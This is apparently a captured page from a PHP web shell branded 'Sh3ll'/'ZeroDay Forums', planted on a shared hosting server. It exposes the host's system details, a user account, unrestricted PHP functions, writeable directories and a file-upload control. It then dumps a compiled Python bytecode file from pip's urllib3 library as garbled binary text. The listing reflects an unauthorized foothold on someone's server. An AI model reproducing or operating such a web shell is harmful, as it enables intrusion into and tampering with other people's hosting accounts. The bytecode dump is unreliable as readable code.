Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /lib/python3.6/site-packages/pip/_vendor/urllib3/util/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.6/site-packages/pip/_vendor/urllib3/util/__pycache__/wait.cpython-36.pyc
3

�Pf��@s:ddlmZmZmZmZd	dd�Zd
dd�Zddd�ZdS)�)�
HAS_SELECT�DefaultSelector�
EVENT_READ�EVENT_WRITENcsttstd��t|t�s0t|d�r(|g}nt|�}t��4}x|D]}|j|��q>W�fdd�|j|�D�SQRXdS)z� Waits for IO events to be available from a list of sockets
    or optionally a single socket if passed in. Returns a list of
    sockets that can be interacted with immediately. z!Platform does not have a selector�filenocs"g|]}|d�@r|dj�qS)r�)Zfileobj)�.0�key)�events��/usr/lib/python3.6/wait.py�
<listcomp>sz'_wait_for_io_events.<locals>.<listcomp>N)r�
ValueError�
isinstance�list�hasattrr�registerZselect)�socksr
�timeoutZselectorZsockr)r
r�_wait_for_io_events	s



rcCst|t|�S)z� Waits for reading to be available from a list of sockets
    or optionally a single socket if passed in. Returns a list of
    sockets that can be read from immediately. )rr)rrrrr�
wait_for_readsrcCst|t|�S)z� Waits for writing to be available from a list of sockets
    or optionally a single socket if passed in. Returns a list of
    sockets that can be written to immediately. )rr)rrrrr�wait_for_write$sr)N)N)N)Z	selectorsrrrrrrrrrrr�<module>s



ZeroDay Forums Mini